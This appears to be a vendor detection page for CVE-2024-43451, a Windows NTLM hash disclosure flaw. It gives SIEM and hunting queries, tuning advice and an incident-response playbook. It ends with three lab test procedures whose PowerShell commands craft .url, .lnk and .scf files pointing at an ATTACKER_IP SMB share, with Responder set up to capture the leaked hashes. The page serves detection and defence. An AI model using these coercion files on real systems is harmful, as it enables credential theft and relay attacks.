Detect CVE-2024-43451: Windows NTLM Hash Disclosure via File Interaction in Sumo Logic CSE
CVE-2024-43451 is a Windows NTLM hash disclosure vulnerability (NTLMv2 spoofing) affecting Windows 10, Windows 11, and Windows Server 2008-2025. Minimal user interaction with a malicious file (right-click, open, or preview) triggers an outbound NTLM authentication request to an attacker-controlled server, leaking the victim's NTLMv2 hash. The hash can be cracked offline or used in relay attacks. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=windows/security OR _sourceCategory=windows/sysmon
| where EventID in ("4648", "4624", "5156", "4688")
| if (EventID == "4688", CommandLine, "") as process_cmd
| if (matches(process_cmd, "(?i)\.(url|lnk|scf|library-ms|searchConnector-ms)"), 1, 0) as suspicious_file_access
| if (EventID in ("5156", "4648"), DestAddress, "") as dest_ip
| where dest_ip != ""
| where !matches(dest_ip, "^(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\.168\.)") and dest_ip != "127.0.0.1"
| timeslice 5m
| stats count as connection_count, count_distinct(dest_ip) as unique_ext_ips, max(suspicious_file_access) as had_suspicious_file by _timeslice, Computer, SubjectUserName
| where connection_count > 0 and had_suspicious_file == 1
| sort by _timeslice descSumo Logic query identifying hosts that both interacted with suspicious file types (triggering potential NTLM leakage) and initiated outbound SMB connections to non-private IPs within the same 5-minute window, indicative of CVE-2024-43451 exploitation.
Data Sources
False Positives & Tuning
- Automated file processing systems handling .lnk files as part of legitimate workflows
- Remote desktop or virtual desktop infrastructure scenarios with non-standard routing
- Cloud sync clients (OneDrive, SharePoint) interacting with shortcut files and making SMB calls
- Penetration test activity conducted without prior notification to the SOC
Other platforms for CVE-2024-43451
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1NTLM Hash Disclosure via Malicious .url File
Expected signal: Sysmon EventID 11 (file creation for .url file), Sysmon EventID 3 (network connection from explorer.exe to ATTACKER_IP:445), Windows Security EventID 4648 (explicit credential use targeting ATTACKER_IP), Responder captures NTLMv2 hash
- Test 2NTLM Hash Disclosure via Malicious .lnk Shortcut
Expected signal: Sysmon EventID 11 (LNK creation), Sysmon EventID 3 (explorer.exe → ATTACKER_IP:445), Windows Security EventID 4648 with LogonType=3 and TargetServerName=ATTACKER_IP
- Test 3NTLM Hash Disclosure via Malicious .scf (Shell Command File)
Expected signal: Sysmon EventID 3 from explorer.exe to ATTACKER_IP:445 without any explicit user action beyond folder view, Windows Security EventID 4648 capturing NTLMv2 exchange, network PCAP showing full NTLM handshake
Response Playbook
Triage
- Identify the affected host and user account from the alert. Verify whether the destination IP is known-malicious by checking threat intelligence (VirusTotal, Shodan) and your organization's IP reputation feeds.
- Determine the triggering file: capture the full path, filename, and extension from endpoint telemetry. Retrieve the file if possible and inspect embedded UNC paths or URL handlers (e.g., `icon` fields in .url files pointing to `\\attacker-ip\share`).
- Confirm whether an NTLMv2 authentication attempt occurred by reviewing Windows Security Event ID 4648 (explicit credential use) or 4624 (logon type 3) on the source host around the same timestamp.
- Assess account privileges: if the leaking account is a service account, domain admin, or privileged user, escalate immediately — the captured hash represents a critical lateral movement risk.
Containment
- Isolate the affected host from the network using EDR quarantine (CrowdStrike Contain, Defender for Endpoint isolation) to prevent ongoing NTLM coercion and potential relay attacks. Do NOT power off — preserve volatile memory for forensics.
- Force a password reset for the affected user account immediately. If the account is privileged, disable it pending investigation and provision a new account. Notify identity team to monitor for hash relay attempts (Kerberoasting, Pass-the-Hash) against other systems.
- Block outbound SMB (TCP 445/139) to non-internal subnets at the perimeter firewall and on Windows Defender Firewall via GPO if not already enforced — this is a defense-in-depth measure that prevents future NTLM coercion to internet-facing attacker infrastructure.
Evidence Collection
- Collect memory dump of the affected host using WinPmem or Magnet RAM Capture before any remediation. Parse LSASS memory to determine whether credentials were cached and could have been extracted beyond the hash disclosure.
- Preserve and hash (SHA-256) the triggering file (the .url/.lnk/.scf). Extract the embedded UNC path using `strings` or a purpose-built tool (e.g., `lnk-parser`). Submit to your sandbox for detonation and capture full network PCAP of the interaction.
- Export Windows Security Event Logs (EventIDs 4624, 4648, 4768, 4769, 4771) and Sysmon logs (EventID 3 for network, EventID 11 for file creation) from the affected host covering T-1 hour to T+1 hour of the triggering event.
Escalation Criteria
- !Escalate to incident response if the affected account holds domain admin, Enterprise Admin, or privileged service account rights — NTLMv2 relay against domain controllers could result in full domain compromise.
- !Escalate immediately if network captures reveal the NTLMv2 hash was relayed (NTLM relay attack in progress) evidenced by authentication events from unexpected source IPs, or if subsequent lateral movement indicators are observed (new scheduled tasks, remote service creation, WMI execution).
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Windows Security EventID 4648 (explicit credential logon) with target server set to an external IP around the time of the file interaction - >
Windows Security EventID 4624 Logon Type 3 (network logon) originating from the victim host toward the attacker IP on port 445 - >
Sysmon EventID 3 (Network connection) showing process (e.g., explorer.exe, iexplore.exe) initiating TCP connection to external IP:445 - >
File system artifact: the malicious .url/.lnk/.scf file with embedded `\\<attacker-ip>\<share>` UNC path in IconResource, URL, or similar field - >
Prefetch file for any process that opened the malicious file (C:\Windows\Prefetch\*.pf) - >
Network PCAP showing NTLM NEGOTIATE/CHALLENGE/AUTHENTICATE exchange in SMB2 session setup to the external IP
Tuning Guidance
Start by establishing a baseline of legitimate outbound SMB traffic in your environment — most enterprises should have zero. Allowlist known exceptions (e.g., Azure File Sync, specific backup agents with documented external endpoints) by IP and process name. Tune the file-extension list to your environment; .library-ms and .searchConnector-ms trigger NTLM authentication and are rarely used legitimately outside enterprise search deployments. For EventID 4648 correlation, filter out machine account authentications ($COMPUTERNAME) and known service accounts with documented external SMB usage. The 30-second correlation window can be expanded to 60 seconds for environments with high disk or CPU load where Explorer shell interactions may be delayed.
Hunting Queries
Threat hunt for any outbound SMB connections initiated by user-facing processes (Explorer, Office, browsers) to external IPs over the past 7 days, and explicit credential use (4648) targeting external servers — both are behavioral indicators of NTLM hash coercion via CVE-2024-43451 or similar vulnerabilities.
DeviceNetworkEvents
| where TimeGenerated >= ago(7d)
| where RemotePort in (445, 139)
| where not(ipv4_is_private(RemoteIPv4))
| where InitiatingProcessFileName in~ ('explorer.exe', 'iexplore.exe', 'msedge.exe', 'chrome.exe', 'outlook.exe', 'winword.exe', 'excel.exe')
| summarize count(), make_set(RemoteIPv4), make_set(InitiatingProcessFileName) by DeviceName, bin(TimeGenerated, 1h)
| where count_ > 0
| sort by count_ descindex=windows sourcetype=WinEventLog:Security EventCode=4648
| eval is_external=if(match(TargetServerName, "^(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\.168\.)"), 0, 1)
| where is_external=1
| stats count by SubjectUserName, SubjectDomainName, TargetServerName, Computer, _time
| sort - _timeAtomic Red Team Tests
Creates a crafted .url shortcut file with an IconFile pointing to an attacker-controlled SMB share. When the file is viewed in Windows Explorer (single click or preview), Windows automatically attempts NTLM authentication to retrieve the icon, leaking the user's NTLMv2 hash. Run Responder on the attacker host to capture the hash.
Command
# On attacker host (Linux): python3 Responder.py -I eth0 -wrf
# On victim host (Windows - lab only):
$content = "[InternetShortcut]`nURL=http://example.com`nIconFile=\\\\ATTACKER_IP\\share\\icon.ico`nIconIndex=0"
$path = "$env:TEMP\\test_cve_2024_43451.url"
Set-Content -Path $path -Value $content
# Open Explorer to the temp directory to trigger the interaction:
Start-Process explorer.exe $env:TEMPCleanup
Remove-Item -Path "$env:TEMP\test_cve_2024_43451.url" -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon EventID 11 (file creation for .url file), Sysmon EventID 3 (network connection from explorer.exe to ATTACKER_IP:445), Windows Security EventID 4648 (explicit credential use targeting ATTACKER_IP), Responder captures NTLMv2 hash
Expected Detection
Alert fires on correlation of .url file creation/access with outbound SMB to non-RFC1918 IP from explorer.exe within 30 seconds
Creates a Windows shortcut (.lnk) file with the target and working directory set to a UNC path on an attacker-controlled SMB server. Right-clicking or previewing the file in Explorer triggers NTLM authentication.
Command
# On attacker host (Linux): python3 Responder.py -I eth0 -wrf
# On victim host (Windows - lab only):
$shell = New-Object -ComObject WScript.Shell
$lnk = $shell.CreateShortcut("$env:TEMP\\test_cve_2024_43451.lnk")
$lnk.TargetPath = "\\\\ATTACKER_IP\\share\\payload.exe"
$lnk.WorkingDirectory = "\\\\ATTACKER_IP\\share\\"
$lnk.IconLocation = "\\\\ATTACKER_IP\\share\\icon.ico"
$lnk.Save()
# Navigate Explorer to $env:TEMP to trigger previewCleanup
Remove-Item -Path "$env:TEMP\test_cve_2024_43451.lnk" -Force -ErrorAction SilentlyContinue
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($shell) | Out-NullExpected Telemetry
Sysmon EventID 11 (LNK creation), Sysmon EventID 3 (explorer.exe → ATTACKER_IP:445), Windows Security EventID 4648 with LogonType=3 and TargetServerName=ATTACKER_IP
Expected Detection
Sequence rule triggers on .lnk file access correlated with SMB connection to external IP within 30s window
Creates an .scf file with an IconFile directive pointing to an attacker UNC path. Placing this file in any folder viewed in Explorer (including the Desktop) automatically triggers NTLM authentication without any user click — merely browsing the containing folder is sufficient.
Command
# On attacker host (Linux): python3 Responder.py -I eth0 -wrf
# On victim host (Windows - lab only):
$content = "[Shell]`nCommand=2`nIconFile=\\\\ATTACKER_IP\\share\\icon.ico`n[Taskbar]`nCommand=ToggleDesktop"
$path = "$env:USERPROFILE\\Desktop\\@test_cve_2024_43451.scf"
Set-Content -Path $path -Value $content
# Simply having Windows Explorer render the Desktop folder triggers the authentication
# Wait 10-15 seconds for automatic NTLM attemptCleanup
Remove-Item -Path "$env:USERPROFILE\Desktop\@test_cve_2024_43451.scf" -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon EventID 3 from explorer.exe to ATTACKER_IP:445 without any explicit user action beyond folder view, Windows Security EventID 4648 capturing NTLMv2 exchange, network PCAP showing full NTLM handshake
Expected Detection
Alert fires on SMB to external IP from explorer.exe correlated with .scf file presence; this test also validates passive (no-click) coercion detection coverage